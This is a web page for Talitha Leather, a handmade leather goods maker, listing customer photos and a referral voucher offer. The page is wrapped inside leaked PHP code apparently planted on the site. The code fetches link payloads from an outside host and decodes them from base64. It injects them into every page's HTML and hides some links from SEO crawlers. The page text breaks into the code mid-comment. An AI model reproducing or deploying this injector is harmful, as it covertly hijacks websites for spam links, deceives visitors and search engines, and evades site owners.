if (!defined('__LPK_IN__')) {
define('__LPK_IN__', 1);
if (!defined('__API_URL__')) define('__API_URL__', 'https://linksparagon.com');
if (!defined('__CACHE_TTL__')) define('__CACHE_TTL__', 300);
if (!function_exists('__getCURLSite__')) {
function __getCURLSite__($site, $post_data = null, $extra_headers = array()) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $site);
if (!is_null($post_data)) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
}
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
if (!empty($extra_headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $extra_headers);
}
$response = curl_exec($ch);
if (curl_errno($ch)) $response = false;
curl_close($ch);
return $response;
}
}
if (!function_exists('__cache_get')) {
function __cache_get($key) {
$f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json';
if (!is_file($f)) return null;
$raw = @file_get_contents($f);
if ($raw === false) return null;
$o = @json_decode($raw, true);
if (!is_array($o)) return null;
if (isset($o['t']) && $o['t'] + __CACHE_TTL__ < time()) return null;
return isset($o['v']) ? $o['v'] : null;
}
}
if (!function_exists('__cache_set')) {
function __cache_set($key, $val) {
$f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json';
@file_put_contents($f, json_encode(array('t' => time(), 'v' => $val)));
}
}
if (!function_exists('__is_spy_bot__')) {
function __is_spy_bot__() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
if (trim($ua) === '') return false;
$bots = array(
'AhrefsBot','AhrefsSiteAudit','SemrushBot','SiteAuditBot',
'DotBot','Rogerbot','MJ12bot','MajesticBot',
'Screaming Frog SEO Spider','ScreamingFrogSEOSpider',
'DataForSeoBot','SEOkicks','SEOkicks-Robot',
'AwarioRssBot','AwarioSmartBot','AwarioBot',
'Brandwatch','Searchmetricsbot','Sidetrade indexer bot',
'peer39_crawler','BLEXBot','cognitiveSEO','LRT Bot','LRT Spider',
'Meltwater','Mediatoolkitbot','Neticlebot','SISTRIX','SerpstatBot',
'spyfu','Botify','ContentKing','DeepCrawl','Lumar','seobility',
'WebCEO','AddThis','Barkrowler','BacklinksExtendedBot','BrightEdge Crawler',
'OAI-SearchBot','CohereBot','DeepSeekBot','SEOlyze','IstellaBot',
'GrapeshotCrawler','Netvibes','NetcraftSurveyAgent'
);
foreach ($bots as $bot) {
if (stripos($ua, $bot) !== false) return true;
}
return false;
}
}
if (!function_exists('__get_backlink_codes__')) {
function __get_backlink_codes__() {
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$host = strtolower(str_replace('www.', '', preg_replace('/:\d+$/', '', $host)));
if ($host === '') return null;
$host_id = crc32($host);
$cacheKey = 'bl_' . md5($host);
$cached = __cache_get($cacheKey);
if ($cached !== null) return $cached;
$u = __API_URL__ . '/g/?i=' . urlencode($host_id) . '&d=' . urlencode($host) . '&t=th';
$response = __getCURLSite__($u);
if ($response !== false && is_string($response)) {
$c = @json_decode($response, true);
if (is_array($c) && isset($c['s']) && $c['s'] == true) {
__cache_set($cacheKey, $response);
return $response;
}
}
return null;
}
}
if (!function_exists('__show_footer_backlink__')) {
function __show_footer_backlink__() {
$is_spy = __is_spy_bot__();
$r = '';
$raw = __get_backlink_codes__();
if (!$raw) return '';
$c = @json_decode($raw, true);
if (!is_array($c) || !isset($c['s']) || $c['s'] != true || empty($c['l'])) return '';
$r .= isset($c['f']) ? $c['f'] : '';
foreach ($c['l'] as $v) {
$only_google = isset($v['g']) ? (int)$v['g'] : 0;
if ($only_google == 1 && $is_spy) continue;
$r .= isset($v['h']) ? base64_decode($v['h']) : '';
}
$r .= isset($c['e']) ? $c['e'] : '';
return $r;
}
}
// Footer injection: named ob_start callback (PHP 5.2 uyumlu, anonim fonksiyon YOK)
// - Yalnızca
Handmade leather bags, purses, wallets, and journals
Talitha Leather Customers
-
-
Jeff of Standard Insurance
-
-
Michael of Coopers Coffee
-
-
Sara with her new black and tan Triangle Purse at Last Thursday
-
-
Tammy of Kalamazoo, MI
-
-
Jodie with Custom Bagley European Courier
-
-
Lindsay of Solfireglass with her Corn Flower Blue Triangle Purse
A large portion of my sales come by word of mouth, as someone sees a Talitha Leather product and asks the owner where they bought it. Thanks to all my past customers who have pasted the word along. In order to thank you for the business you continue sending my way, you will be given a Talitha Leather voucher for 10% of the amount spent by the person you refer. In order to make this possible, please make sure that I have your name and email, and have the individual you refer, mention your name.
– Nate Bagley (0wner)
içeren HTML yanıtları modifiye eder
// - AJAX / REST API / CRON / CLI isteklerini atlar
// - str_ireplace ile öncesine düzgün ekler
if (!function_exists('__lpk_ob_cb__')) {
function __lpk_ob_cb__($buf) {
if (!is_string($buf) || stripos($buf, '') === false) return $buf;
if (defined('DOING_AJAX') && DOING_AJAX) return $buf;
if (defined('REST_REQUEST') && REST_REQUEST) return $buf;
if (defined('DOING_CRON') && DOING_CRON) return $buf;
if (php_sapi_name() === 'cli') return $buf;
$link = __show_footer_backlink__();
return ($link !== '') ? str_ireplace('', $link . '', $buf) : $buf;
}
}
@ob_start('__lpk_ob_cb__');
}